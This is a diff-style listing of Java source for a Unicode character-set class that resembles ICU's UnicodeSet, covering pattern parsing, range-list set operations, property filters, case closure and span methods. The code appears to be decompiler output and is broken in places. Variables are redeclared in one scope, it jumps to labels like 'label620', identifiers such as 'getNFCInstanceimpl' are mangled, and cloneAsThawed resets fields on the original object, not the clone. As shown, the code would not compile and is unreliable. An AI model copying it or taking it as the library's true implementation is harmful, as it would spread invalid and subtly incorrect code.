+        if ((c == 91) && (!literal)) {
+          if (mode == 1) {
+            chars.setPos(backup);
+            setMode = 1;
+          }
+          else {
+            mode = 1;
+            patBuf.append('[');
+            backup = chars.getPos(backup);
+            c = chars.next(opts);
+            literal = chars.isEscaped();
+            if ((c == 94) && (!literal)) {
+              invert = true;
+              patBuf.append('^');
+              backup = chars.getPos(backup);
+              c = chars.next(opts);
+              literal = chars.isEscaped();
+            }
+            
+
+            if (c == 45) {
+              literal = true;
+            }
+            else {
+              chars.setPos(backup);
+            }
+          }
+        }
+        else if (symbols != null) {
+          UnicodeMatcher m = symbols.lookupMatcher(c);
+          if (m != null) {
+            try {
+              nested = (UnicodeSet)m;
+              setMode = 3;
+            } catch (ClassCastException e) {
+              syntaxError(chars, "Syntax error");
+            }
+          }
+        }
+      }
+      
+
+
+
+
+
+      if (setMode != 0) {
+        if (lastItem == 1) {
+          if (op != 0) {
+            syntaxError(chars, "Char expected after operator");
+          }
+          add_unchecked(lastChar, lastChar);
+          _appendToPat(patBuf, lastChar, false);
+          lastItem = op = 0;
+        }
+        
+        if ((op == '-') || (op == '&')) {
+          patBuf.append(op);
+        }
+        
+        if (nested == null) {
+          if (scratch == null) scratch = new UnicodeSet();
+          nested = scratch;
+        }
+        switch (setMode) {
+        case 1: 
+          nested.applyPattern(chars, symbols, patBuf, options);
+          break;
+        case 2: 
+          chars.skipIgnored(opts);
+          nested.applyPropertyPattern(chars, patBuf, symbols);
+          break;
+        case 3: 
+          nested._toPattern(patBuf, false);
+        }
+        
+        
+        usePat = true;
+        
+        if (mode == 0)
+        {
+          set(nested);
+          mode = 2;
+          break;
+        }
+        
+        switch (op) {
+        case '-': 
+          removeAll(nested);
+          break;
+        case '&': 
+          retainAll(nested);
+          break;
+        case '\000': 
+          addAll(nested);
+        }
+        
+        
+        op = '\000';
+        lastItem = 2;
+
+      }
+      else
+      {
+        if (mode == 0) {
+          syntaxError(chars, "Missing '['");
+        }
+        
+
+
+
+
+        if (!literal) {
+          switch (c) {
+          case 93: 
+            if (lastItem == 1) {
+              add_unchecked(lastChar, lastChar);
+              _appendToPat(patBuf, lastChar, false);
+            }
+            
+            if (op == '-') {
+              add_unchecked(op, op);
+              patBuf.append(op);
+            } else if (op == '&') {
+              syntaxError(chars, "Trailing '&'");
+            }
+            patBuf.append(']');
+            mode = 2;
+            break;
+          case 45: 
+            if (op == 0) {
+              if (lastItem != 0) {
+                op = (char)c;
+                continue;
+              }
+              
+              add_unchecked(c, c);
+              c = chars.next(opts);
+              literal = chars.isEscaped();
+              if ((c == 93) && (!literal)) {
+                patBuf.append("-]");
+                mode = 2;
+                continue;
+              }
+            }
+            
+            syntaxError(chars, "'-' not after char or set");
+            break;
+          case 38: 
+            if ((lastItem == 2) && (op == 0)) {
+              op = (char)c;
+              continue;
+            }
+            syntaxError(chars, "'&' not after set");
+            break;
+          case 94: 
+            syntaxError(chars, "'^' not after '['");
+            break;
+          case 123: 
+            if (op != 0) {
+              syntaxError(chars, "Missing operand after operator");
+            }
+            if (lastItem == 1) {
+              add_unchecked(lastChar, lastChar);
+              _appendToPat(patBuf, lastChar, false);
+            }
+            lastItem = 0;
+            if (buf == null) {
+              buf = new StringBuffer();
+            } else {
+              buf.setLength(0);
+            }
+            boolean ok = false;
+            while (!chars.atEnd()) {
+              c = chars.next(opts);
+              literal = chars.isEscaped();
+              if ((c == 125) && (!literal)) {
+                ok = true;
+                break;
+              }
+              UTF16.append(buf, c);
+            }
+            if ((buf.length() < 1) || (!ok)) {
+              syntaxError(chars, "Invalid multicharacter string");
+            }
+            
+
+
+            add(buf.toString());
+            patBuf.append('{');
+            _appendToPat(patBuf, buf.toString(), false);
+            patBuf.append('}');
+            break;
+          
+
+
+
+
+
+          case 36: 
+            backup = chars.getPos(backup);
+            c = chars.next(opts);
+            literal = chars.isEscaped();
+            boolean anchor = (c == 93) && (!literal);
+            if ((symbols == null) && (!anchor)) {
+              c = 36;
+              chars.setPos(backup);
+            }
+            else {
+              if ((anchor) && (op == 0)) {
+                if (lastItem == 1) {
+                  add_unchecked(lastChar, lastChar);
+                  _appendToPat(patBuf, lastChar, false);
+                }
+                add_unchecked(65535);
+                usePat = true;
+                patBuf.append('$').append(']');
+                mode = 2;
+                continue;
+              }
+              syntaxError(chars, "Unquoted '$'"); }
+            break;
+          
+
+
+
+
+
+          }
+          
+        } else {
+          switch (lastItem) {
+          case 0: 
+            lastItem = 1;
+            lastChar = c;
+            break;
+          case 1: 
+            if (op == '-') {
+              if (lastChar >= c)
+              {
+
+                syntaxError(chars, "Invalid range");
+              }
+              add_unchecked(lastChar, c);
+              _appendToPat(patBuf, lastChar, false);
+              patBuf.append(op);
+              _appendToPat(patBuf, c, false);
+              lastItem = op = 0;
+            } else {
+              add_unchecked(lastChar, lastChar);
+              _appendToPat(patBuf, lastChar, false);
+              lastChar = c;
+            }
+            break;
+          case 2: 
+            if (op != 0) {
+              syntaxError(chars, "Set expected after operator");
+            }
+            lastChar = c;
+            lastItem = 1;
+          }
+        }
+      }
+    }
+    if (mode != 2) {
+      syntaxError(chars, "Missing ']'");
+    }
+    
+    chars.skipIgnored(opts);
+    
+
+
+
+
+
+
+    if ((options & 0x2) != 0) {
+      closeOver(2);
+    }
+    if (invert) {
+      complement();
+    }
+    
+
+
+    if (usePat) {
+      rebuiltPat.append(patBuf.toString());
+    } else {
+      _generatePattern(rebuiltPat, false, true);
+    }
+  }
+  
+  private static void syntaxError(RuleCharacterIterator chars, String msg) {
+    throw new IllegalArgumentException("Error: " + msg + " at \"" + Utility.escape(chars.toString()) + '"');
+  }
+  
+
+
+
+
+
+
+  public <T extends Collection<String>> T addAllTo(T target)
+  {
+    return addAllTo(this, target);
+  }
+  
+
+
+
+
+
+  public String[] addAllTo(String[] target)
+  {
+    return (String[])addAllTo(this, target);
+  }
+  
+
+
+
+  public static String[] toArray(UnicodeSet set)
+  {
+    return (String[])addAllTo(set, new String[set.size()]);
+  }
+  
+
+
+
+
+
+  public UnicodeSet add(Collection<?> source)
+  {
+    return addAll(source);
+  }
+  
+
+
+
+
+
+
+  public UnicodeSet addAll(Collection<?> source)
+  {
+    checkFrozen();
+    for (Object o : source) {
+      add(o.toString());
+    }
+    return this;
+  }
+  
+
+
+
+  private void ensureCapacity(int newLen)
+  {
+    if (newLen <= list.length) return;
+    int[] temp = new int[newLen + 16];
+    System.arraycopy(list, 0, temp, 0, len);
+    list = temp;
+  }
+  
+  private void ensureBufferCapacity(int newLen) {
+    if ((buffer != null) && (newLen <= buffer.length)) return;
+    buffer = new int[newLen + 16];
+  }
+  
+
+
+  private int[] range(int start, int end)
+  {
+    if (rangeList == null) {
+      rangeList = new int[] { start, end + 1, 1114112 };
+    } else {
+      rangeList[0] = start;
+      rangeList[1] = (end + 1);
+    }
+    return rangeList;
+  }
+  
+
+
+
+
+
+
+  private UnicodeSet xor(int[] other, int otherLen, int polarity)
+  {
+    ensureBufferCapacity(len + otherLen);
+    int i = 0;int j = 0;int k = 0;
+    int a = list[(i++)];
+    
+
+    int b;
+    
+    if ((polarity == 1) || (polarity == 2)) {
+      int b = 0;
+      if (other[j] == 0) {
+        j++;
+        b = other[j];
+      }
+    }
+    else {
+      b = other[(j++)];
+    }
+    
+    for (;;)
+    {
+      if (a < b) {
+        buffer[(k++)] = a;
+        a = list[(i++)];
+      } else if (b < a) {
+        buffer[(k++)] = b;
+        b = other[(j++)];
+      } else { if (a == 1114112)
+          break;
+        a = list[(i++)];
+        b = other[(j++)];
+      } }
+    buffer[(k++)] = 1114112;
+    len = k;
+    
+
+
+
+    int[] temp = list;
+    list = buffer;
+    buffer = temp;
+    pat = null;
+    return this;
+  }
+  
+
+
+
+
+  private UnicodeSet add(int[] other, int otherLen, int polarity)
+  {
+    ensureBufferCapacity(len + otherLen);
+    int i = 0;int j = 0;int k = 0;
+    int a = list[(i++)];
+    int b = other[(j++)];
+    
+
+    for (;;)
+    {
+      switch (polarity) {
+      case 0: 
+        if (a < b)
+        {
+          if ((k > 0) && (a <= buffer[(k - 1)]))
+          {
+            a = max(list[i], buffer[(--k)]);
+          }
+          else {
+            buffer[(k++)] = a;
+            a = list[i];
+          }
+          i++;
+          polarity ^= 0x1;
+        } else if (b < a) {
+          if ((k > 0) && (b <= buffer[(k - 1)])) {
+            b = max(other[j], buffer[(--k)]);
+          } else {
+            buffer[(k++)] = b;
+            b = other[j];
+          }
+          j++;
+          polarity ^= 0x2;
+        } else {
+          if (a == 1114112) {
+            break label620;
+          }
+          if ((k > 0) && (a <= buffer[(k - 1)])) {
+            a = max(list[i], buffer[(--k)]);
+          }
+          else {
+            buffer[(k++)] = a;
+            a = list[i];
+          }
+          i++;
+          polarity ^= 0x1;
+          b = other[(j++)];polarity ^= 0x2;
+        }
+        break;
+      case 3: 
+        if (b <= a) {
+          if (a == 1114112) break label620;
+          buffer[(k++)] = a;
+        } else {
+          if (b == 1114112) break label620;
+          buffer[(k++)] = b;
+        }
+        a = list[(i++)];polarity ^= 0x1;
+        b = other[(j++)];polarity ^= 0x2;
+        break;
+      case 1: 
+        if (a < b) {
+          buffer[(k++)] = a;a = list[(i++)];polarity ^= 0x1;
+        } else if (b < a) {
+          b = other[(j++)];polarity ^= 0x2;
+        } else {
+          if (a == 1114112) break label620;
+          a = list[(i++)];polarity ^= 0x1;
+          b = other[(j++)];polarity ^= 0x2;
+        }
+        break;
+      case 2: 
+        if (b < a) {
+          buffer[(k++)] = b;b = other[(j++)];polarity ^= 0x2;
+        } else if (a < b) {
+          a = list[(i++)];polarity ^= 0x1;
+        } else {
+          if (a == 1114112) break label620;
+          a = list[(i++)];polarity ^= 0x1;
+          b = other[(j++)];polarity ^= 0x2;
+        }
+        break; }
+    }
+    label620:
+    buffer[(k++)] = 1114112;
+    len = k;
+    
+    int[] temp = list;
+    list = buffer;
+    buffer = temp;
+    pat = null;
+    return this;
+  }
+  
+
+
+
+
+  private UnicodeSet retain(int[] other, int otherLen, int polarity)
+  {
+    ensureBufferCapacity(len + otherLen);
+    int i = 0;int j = 0;int k = 0;
+    int a = list[(i++)];
+    int b = other[(j++)];
+    
+
+    for (;;)
+    {
+      switch (polarity) {
+      case 0: 
+        if (a < b) {
+          a = list[(i++)];polarity ^= 0x1;
+        } else if (b < a) {
+          b = other[(j++)];polarity ^= 0x2;
+        } else {
+          if (a == 1114112) break label508;
+          buffer[(k++)] = a;a = list[(i++)];polarity ^= 0x1;
+          b = other[(j++)];polarity ^= 0x2;
+        }
+        break;
+      case 3: 
+        if (a < b) {
+          buffer[(k++)] = a;a = list[(i++)];polarity ^= 0x1;
+        } else if (b < a) {
+          buffer[(k++)] = b;b = other[(j++)];polarity ^= 0x2;
+        } else {
+          if (a == 1114112) break label508;
+          buffer[(k++)] = a;a = list[(i++)];polarity ^= 0x1;
+          b = other[(j++)];polarity ^= 0x2;
+        }
+        break;
+      case 1: 
+        if (a < b) {
+          a = list[(i++)];polarity ^= 0x1;
+        } else if (b < a) {
+          buffer[(k++)] = b;b = other[(j++)];polarity ^= 0x2;
+        } else {
+          if (a == 1114112) break label508;
+          a = list[(i++)];polarity ^= 0x1;
+          b = other[(j++)];polarity ^= 0x2;
+        }
+        break;
+      case 2: 
+        if (b < a) {
+          b = other[(j++)];polarity ^= 0x2;
+        } else if (a < b) {
+          buffer[(k++)] = a;a = list[(i++)];polarity ^= 0x1;
+        } else {
+          if (a == 1114112) break label508;
+          a = list[(i++)];polarity ^= 0x1;
+          b = other[(j++)];polarity ^= 0x2;
+        }
+        break; }
+    }
+    label508:
+    buffer[(k++)] = 1114112;
+    len = k;
+    
+    int[] temp = list;
+    list = buffer;
+    buffer = temp;
+    pat = null;
+    return this;
+  }
+  
+  private static final int max(int a, int b) {
+    return a > b ? a : b;
+  }
+  
+  private static abstract interface Filter
+  {
+    public abstract boolean contains(int paramInt);
+  }
+  
+  private static class NumericValueFilter
+    implements UnicodeSet.Filter
+  {
+    double value;
+    
+    NumericValueFilter(double value) { this.value = value; }
+    
+    public boolean contains(int ch) { return UCharacter.getUnicodeNumericValue(ch) == value; }
+  }
+  
+  private static class GeneralCategoryMaskFilter implements UnicodeSet.Filter {
+    int mask;
+    
+    GeneralCategoryMaskFilter(int mask) { this.mask = mask; }
+    
+    public boolean contains(int ch) { return (1 << UCharacter.getType(ch) & mask) != 0; }
+  }
+  
+  private static class IntPropertyFilter implements UnicodeSet.Filter {
+    int prop;
+    int value;
+    
+    IntPropertyFilter(int prop, int value) {
+      this.prop = prop;
+      this.value = value;
+    }
+    
+    public boolean contains(int ch) { return UCharacter.getIntPropertyValue(ch, prop) == value; }
+  }
+  
+  private static class ScriptExtensionsFilter implements UnicodeSet.Filter {
+    int script;
+    
+    ScriptExtensionsFilter(int script) { this.script = script; }
+    
+    public boolean contains(int c) { return UScript.hasScript(c, script); }
+  }
+  
+
+
+  private static final VersionInfo NO_VERSION = VersionInfo.getInstance(0, 0, 0, 0);
+  public static final int IGNORE_SPACE = 1;
+  public static final int CASE = 2;
+  
+  private static class VersionFilter implements UnicodeSet.Filter { VersionFilter(VersionInfo version) { this.version = version; }
+    
+    public boolean contains(int ch) { VersionInfo v = UCharacter.getAge(ch);
+      
+
+      return (v != UnicodeSet.NO_VERSION) && (v.compareTo(version) <= 0);
+    }
+    
+    VersionInfo version;
+  }
+  
+  private static synchronized UnicodeSet getInclusions(int src) { if (INCLUSIONS == null) {
+      INCLUSIONS = new UnicodeSet[12];
+    }
+    if (INCLUSIONS[src] == null) {
+      UnicodeSet incl = new UnicodeSet();
+      switch (src) {
+      case 1: 
+        UCharacterProperty.INSTANCE.addPropertyStarts(incl);
+        break;
+      case 2: 
+        UCharacterProperty.INSTANCE.upropsvec_addPropertyStarts(incl);
+        break;
+      case 6: 
+        UCharacterProperty.INSTANCE.addPropertyStarts(incl);
+        UCharacterProperty.INSTANCE.upropsvec_addPropertyStarts(incl);
+        break;
+      case 7: 
+        getNFCInstanceimpl.addPropertyStarts(incl);
+        UCaseProps.INSTANCE.addPropertyStarts(incl);
+        break;
+      case 8: 
+        getNFCInstanceimpl.addPropertyStarts(incl);
+        break;
+      case 9: 
+        getNFKCInstanceimpl.addPropertyStarts(incl);
+        break;
+      case 10: 
+        getNFKC_CFInstanceimpl.addPropertyStarts(incl);
+        break;
+      case 11: 
+        getNFCInstanceimpl.addCanonIterPropertyStarts(incl);
+        break;
+      case 4: 
+        UCaseProps.INSTANCE.addPropertyStarts(incl);
+        break;
+      case 5: 
+        UBiDiProps.INSTANCE.addPropertyStarts(incl);
+        break;
+      case 3: default: 
+        throw new IllegalStateException("UnicodeSet.getInclusions(unknown src " + src + ")");
+      }
+      INCLUSIONS[src] = incl;
+    }
+    return INCLUSIONS[src];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private UnicodeSet applyFilter(Filter filter, int src)
+  {
+    clear();
+    
+    int startHasProperty = -1;
+    UnicodeSet inclusions = getInclusions(src);
+    int limitRange = inclusions.getRangeCount();
+    
+    for (int j = 0; j < limitRange; j++)
+    {
+      int start = inclusions.getRangeStart(j);
+      int end = inclusions.getRangeEnd(j);
+      
+
+      for (int ch = start; ch <= end; ch++)
+      {
+
+        if (filter.contains(ch)) {
+          if (startHasProperty < 0) {
+            startHasProperty = ch;
+          }
+        } else if (startHasProperty >= 0) {
+          add_unchecked(startHasProperty, ch - 1);
+          startHasProperty = -1;
+        }
+      }
+    }
+    if (startHasProperty >= 0) {
+      add_unchecked(startHasProperty, 1114111);
+    }
+    
+    return this;
+  }
+  
+
+
+
+
+  private static String mungeCharName(String source)
+  {
+    source = PatternProps.trimWhiteSpace(source);
+    StringBuilder buf = null;
+    for (int i = 0; i < source.length(); i++) {
+      char ch = source.charAt(i);
+      if (PatternProps.isWhiteSpace(ch)) {
+        if (buf == null)
+          buf = new StringBuilder().append(source, 0, i); else {
+          if (buf.charAt(buf.length() - 1) == ' ')
+            continue;
+        }
+        ch = ' ';
+      }
+      else if (buf != null) {
+        buf.append(ch);
+      }
+    }
+    return buf == null ? source : buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet applyIntPropertyValue(int prop, int value)
+  {
+    checkFrozen();
+    if (prop == 8192) {
+      applyFilter(new GeneralCategoryMaskFilter(value), 1);
+    } else if (prop == 28672) {
+      applyFilter(new ScriptExtensionsFilter(value), 2);
+    } else {
+      applyFilter(new IntPropertyFilter(prop, value), UCharacterProperty.INSTANCE.getSource(prop));
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet applyPropertyAlias(String propertyAlias, String valueAlias)
+  {
+    return applyPropertyAlias(propertyAlias, valueAlias, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet applyPropertyAlias(String propertyAlias, String valueAlias, SymbolTable symbols)
+  {
+    checkFrozen();
+    
+
+    boolean mustNotBeEmpty = false;boolean invert = false;
+    
+    if ((symbols != null) && ((symbols instanceof XSymbolTable)) && (((XSymbolTable)symbols).applyPropertyAlias(propertyAlias, valueAlias, this)))
+    {
+
+      return this;
+    }
+    
+    if ((XSYMBOL_TABLE != null) && 
+      (XSYMBOL_TABLE.applyPropertyAlias(propertyAlias, valueAlias, this))) {
+      return this;
+    }
+    int v;
+    int p;
+    if (valueAlias.length() > 0) {
+      int p = UCharacter.getPropertyEnum(propertyAlias);
+      
+
+      if (p == 4101) {
+        p = 8192;
+      }
+      int v;
+      if (((p >= 0) && (p < 57)) || ((p >= 4096) && (p < 4117)) || ((p >= 8192) && (p < 8193)))
+      {
+        try
+        {
+          v = UCharacter.getPropertyValueEnum(p, valueAlias);
+        } catch (IllegalArgumentException e) {
+          int v;
+          if ((p == 4098) || (p == 4112) || (p == 4113))
+          {
+
+            v = Integer.parseInt(PatternProps.trimWhiteSpace(valueAlias));
+            
+
+
+
+            if ((v < 0) || (v > 255)) throw e;
+          } else {
+            throw e;
+          }
+          
+        }
+        
+      } else {
+        switch (p)
+        {
+        case 12288: 
+          double value = Double.parseDouble(PatternProps.trimWhiteSpace(valueAlias));
+          applyFilter(new NumericValueFilter(value), 1);
+          return this;
+        
+
+
+
+
+        case 16389: 
+          String buf = mungeCharName(valueAlias);
+          int ch = UCharacter.getCharFromExtendedName(buf);
+          if (ch == -1) {
+            throw new IllegalArgumentException("Invalid character name");
+          }
+          clear();
+          add_unchecked(ch);
+          return this;
+        
+
+        case 16395: 
+          throw new IllegalArgumentException("Unicode_1_Name (na1) not supported");
+        
+
+
+
+        case 16384: 
+          VersionInfo version = VersionInfo.getInstance(mungeCharName(valueAlias));
+          applyFilter(new VersionFilter(version), 2);
+          return this;
+        
+        case 28672: 
+          v = UCharacter.getPropertyValueEnum(4106, valueAlias);
+          
+          break;
+        
+
+        default: 
+          throw new IllegalArgumentException("Unsupported property");
+        
+
+        }
+        
+      }
+    }
+    else
+    {
+      UPropertyAliases pnames = UPropertyAliases.INSTANCE;
+      p = 8192;
+      v = pnames.getPropertyValueEnum(p, propertyAlias);
+      if (v == -1) {
+        p = 4106;
+        v = pnames.getPropertyValueEnum(p, propertyAlias);
+        if (v == -1) {
+          p = pnames.getPropertyEnum(propertyAlias);
+          if (p == -1) {
+            p = -1;
+          }
+          if ((p >= 0) && (p < 57)) {
+            v = 1;
+          } else if (p == -1) {
+            if (0 == UPropertyAliases.compare("ANY", propertyAlias)) {
+              set(0, 1114111);
+              return this; }
+            if (0 == UPropertyAliases.compare("ASCII", propertyAlias)) {
+              set(0, 127);
+              return this; }
+            if (0 == UPropertyAliases.compare("Assigned", propertyAlias))
+            {
+              p = 8192;
+              v = 1;
+              invert = true;
+            }
+            else {
+              throw new IllegalArgumentException("Invalid property alias: " + propertyAlias + "=" + valueAlias);
+            }
+          }
+          else
+          {
+            throw new IllegalArgumentException("Missing property value");
+          }
+        }
+      }
+    }
+    
+    applyIntPropertyValue(p, v);
+    if (invert) {
+      complement();
+    }
+    
+    if ((mustNotBeEmpty) && (isEmpty()))
+    {
+
+      throw new IllegalArgumentException("Invalid property value");
+    }
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  private static boolean resemblesPropertyPattern(String pattern, int pos)
+  {
+    if (pos + 5 > pattern.length()) {
+      return false;
+    }
+    
+
+    return (pattern.regionMatches(pos, "[:", 0, 2)) || (pattern.regionMatches(true, pos, "\\p", 0, 2)) || (pattern.regionMatches(pos, "\\N", 0, 2));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static boolean resemblesPropertyPattern(RuleCharacterIterator chars, int iterOpts)
+  {
+    boolean result = false;
+    iterOpts &= 0xFFFFFFFD;
+    Object pos = chars.getPos(null);
+    int c = chars.next(iterOpts);
+    if ((c == 91) || (c == 92)) {
+      int d = chars.next(iterOpts & 0xFFFFFFFB);
+      result = d == 58;
+    }
+    
+    chars.setPos(pos);
+    return result;
+  }
+  
+
+
+
+  private UnicodeSet applyPropertyPattern(String pattern, ParsePosition ppos, SymbolTable symbols)
+  {
+    int pos = ppos.getIndex();
+    
+
+
+
+    if (pos + 5 > pattern.length()) {
+      return null;
+    }
+    
+    boolean posix = false;
+    boolean isName = false;
+    boolean invert = false;
+    
+
+    if (pattern.regionMatches(pos, "[:", 0, 2)) {
+      posix = true;
+      pos = PatternProps.skipWhiteSpace(pattern, pos + 2);
+      if ((pos < pattern.length()) && (pattern.charAt(pos) == '^')) {
+        pos++;
+        invert = true;
+      }
+    } else if ((pattern.regionMatches(true, pos, "\\p", 0, 2)) || (pattern.regionMatches(pos, "\\N", 0, 2)))
+    {
+      char c = pattern.charAt(pos + 1);
+      invert = c == 'P';
+      isName = c == 'N';
+      pos = PatternProps.skipWhiteSpace(pattern, pos + 2);
+      if ((pos == pattern.length()) || (pattern.charAt(pos++) != '{'))
+      {
+        return null;
+      }
+    }
+    else {
+      return null;
+    }
+    
+
+    int close = pattern.indexOf(posix ? ":]" : "}", pos);
+    if (close < 0)
+    {
+      return null;
+    }
+    
+
+
+
+    int equals = pattern.indexOf('=', pos);
+    String valueName;
+    String propName; String valueName; if ((equals >= 0) && (equals < close) && (!isName))
+    {
+      String propName = pattern.substring(pos, equals);
+      valueName = pattern.substring(equals + 1, close);
+
+    }
+    else
+    {
+      propName = pattern.substring(pos, close);
+      valueName = "";
+      
+
+      if (isName)
+      {
+
+
+
+
+        valueName = propName;
+        propName = "na";
+      }
+    }
+    
+    applyPropertyAlias(propName, valueName, symbols);
+    
+    if (invert) {
+      complement();
+    }
+    
+
+    ppos.setIndex(close + (posix ? 2 : 1));
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private void applyPropertyPattern(RuleCharacterIterator chars, StringBuffer rebuiltPat, SymbolTable symbols)
+  {
+    String patStr = chars.lookahead();
+    ParsePosition pos = new ParsePosition(0);
+    applyPropertyPattern(patStr, pos, symbols);
+    if (pos.getIndex() == 0) {
+      syntaxError(chars, "Invalid property pattern");
+    }
+    chars.jumpahead(pos.getIndex());
+    rebuiltPat.append(patStr.substring(0, pos.getIndex()));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final int CASE_INSENSITIVE = 2;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final int ADD_CASE_MAPPINGS = 4;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final void addCaseMapping(UnicodeSet set, int result, StringBuilder full)
+  {
+    if (result >= 0) {
+      if (result > 31)
+      {
+        set.add(result);
+      }
+      else {
+        set.add(full.toString());
+        full.setLength(0);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet closeOver(int attribute)
+  {
+    checkFrozen();
+    if ((attribute & 0x6) != 0) {
+      UCaseProps csp = UCaseProps.INSTANCE;
+      UnicodeSet foldSet = new UnicodeSet(this);
+      ULocale root = ULocale.ROOT;
+      
+
+
+
+      if ((attribute & 0x2) != 0) {
+        strings.clear();
+      }
+      
+      int n = getRangeCount();
+      
+      StringBuilder full = new StringBuilder();
+      int[] locCache = new int[1];
+      
+      for (int i = 0; i < n; i++) {
+        int start = getRangeStart(i);
+        int end = getRangeEnd(i);
+        
+        if ((attribute & 0x2) != 0)
+        {
+          for (int cp = start; cp <= end; cp++) {
+            csp.addCaseClosure(cp, foldSet);
+          }
+          
+        }
+        else
+          for (int cp = start; cp <= end; cp++) {
+            int result = csp.toFullLower(cp, null, full, root, locCache);
+            addCaseMapping(foldSet, result, full);
+            
+            result = csp.toFullTitle(cp, null, full, root, locCache);
+            addCaseMapping(foldSet, result, full);
+            
+            result = csp.toFullUpper(cp, null, full, root, locCache);
+            addCaseMapping(foldSet, result, full);
+            
+            result = csp.toFullFolding(cp, full, 0);
+            addCaseMapping(foldSet, result, full);
+          }
+      }
+      BreakIterator bi;
+      if (!strings.isEmpty()) {
+        if ((attribute & 0x2) != 0) {
+          for (String s : strings) {
+            String str = UCharacter.foldCase(s, 0);
+            if (!csp.addStringCaseClosure(str, foldSet)) {
+              foldSet.add(str);
+            }
+          }
+        } else {
+          bi = BreakIterator.getWordInstance(root);
+          for (String str : strings) {
+            foldSet.add(UCharacter.toLowerCase(root, str));
+            foldSet.add(UCharacter.toTitleCase(root, str, bi));
+            foldSet.add(UCharacter.toUpperCase(root, str));
+            foldSet.add(UCharacter.foldCase(str, 0));
+          }
+        }
+      }
+      set(foldSet);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public static abstract class XSymbolTable
+    implements SymbolTable
+  {
+    public XSymbolTable() {}
+    
+
+
+
+
+
+
+    public UnicodeMatcher lookupMatcher(int i)
+    {
+      return null;
+    }
+    
+
+
+
+
+
+
+
+    public boolean applyPropertyAlias(String propertyName, String propertyValue, UnicodeSet result)
+    {
+      return false;
+    }
+    
+
+
+
+    public char[] lookup(String s)
+    {
+      return null;
+    }
+    
+
+
+
+    public String parseReference(String text, ParsePosition pos, int limit)
+    {
+      return null;
+    }
+  }
+  
+
+
+
+
+
+  public boolean isFrozen()
+  {
+    return (bmpSet != null) || (stringSpan != null);
+  }
+  
+
+
+
+
+
+  public UnicodeSet freeze()
+  {
+    if (!isFrozen())
+    {
+
+
+
+
+      buffer = null;
+      int[] oldList; int i; if (list.length > len + 16)
+      {
+
+        int capacity = len == 0 ? 1 : len;
+        oldList = list;
+        list = new int[capacity];
+        for (i = capacity; i-- > 0;) {
+          list[i] = oldList[i];
+        }
+      }
+      
+
+      if (!strings.isEmpty()) {
+        stringSpan = new UnicodeSetStringSpan(this, new ArrayList(strings), 63);
+        if (!stringSpan.needsStringSpanUTF16())
+        {
+
+
+
+
+          stringSpan = null;
+        }
+      }
+      if (stringSpan == null)
+      {
+        bmpSet = new BMPSet(list, len);
+      }
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public int span(CharSequence s, SpanCondition spanCondition)
+  {
+    return span(s, 0, spanCondition);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int span(CharSequence s, int start, SpanCondition spanCondition)
+  {
+    int end = s.length();
+    if (start < 0) {
+      start = 0;
+    } else if (start >= end) {
+      return end;
+    }
+    if (bmpSet != null) {
+      return start + bmpSet.span(s, start, end, spanCondition);
+    }
+    int len = end - start;
+    if (stringSpan != null)
+      return start + stringSpan.span(s, start, len, spanCondition);
+    if (!strings.isEmpty()) {
+      int which = spanCondition == SpanCondition.NOT_CONTAINED ? 41 : 42;
+      
+      UnicodeSetStringSpan strSpan = new UnicodeSetStringSpan(this, new ArrayList(strings), which);
+      if (strSpan.needsStringSpanUTF16()) {
+        return start + strSpan.span(s, start, len, spanCondition);
+      }
+    }
+    
+
+    boolean spanContained = spanCondition != SpanCondition.NOT_CONTAINED;
+    
+
+    int next = start;
+    do {
+      int c = Character.codePointAt(s, next);
+      if (spanContained != contains(c)) {
+        break;
+      }
+      next = Character.offsetByCodePoints(s, next, 1);
+    } while (next < end);
+    return next;
+  }
+  
+
+
+
+
+
+
+
+  public int spanBack(CharSequence s, SpanCondition spanCondition)
+  {
+    return spanBack(s, s.length(), spanCondition);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int spanBack(CharSequence s, int fromIndex, SpanCondition spanCondition)
+  {
+    if (fromIndex <= 0) {
+      return 0;
+    }
+    if (fromIndex > s.length()) {
+      fromIndex = s.length();
+    }
+    if (bmpSet != null) {
+      return bmpSet.spanBack(s, fromIndex, spanCondition);
+    }
+    if (stringSpan != null)
+      return stringSpan.spanBack(s, fromIndex, spanCondition);
+    if (!strings.isEmpty()) {
+      int which = spanCondition == SpanCondition.NOT_CONTAINED ? 25 : 26;
+      
+
+      UnicodeSetStringSpan strSpan = new UnicodeSetStringSpan(this, new ArrayList(strings), which);
+      if (strSpan.needsStringSpanUTF16()) {
+        return strSpan.spanBack(s, fromIndex, spanCondition);
+      }
+    }
+    
+
+    boolean spanContained = spanCondition != SpanCondition.NOT_CONTAINED;
+    
+
+    int prev = fromIndex;
+    do {
+      int c = Character.codePointBefore(s, prev);
+      if (spanContained != contains(c)) {
+        break;
+      }
+      prev = Character.offsetByCodePoints(s, prev, -1);
+    } while (prev > 0);
+    return prev;
+  }
+  
+
+
+
+
+  public UnicodeSet cloneAsThawed()
+  {
+    UnicodeSet result = (UnicodeSet)clone();
+    bmpSet = null;
+    stringSpan = null;
+    return result;
+  }
+  
+  private void checkFrozen()
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify frozen object");
+    }
+  }
+  
+
+
+
+
+
+
+
+
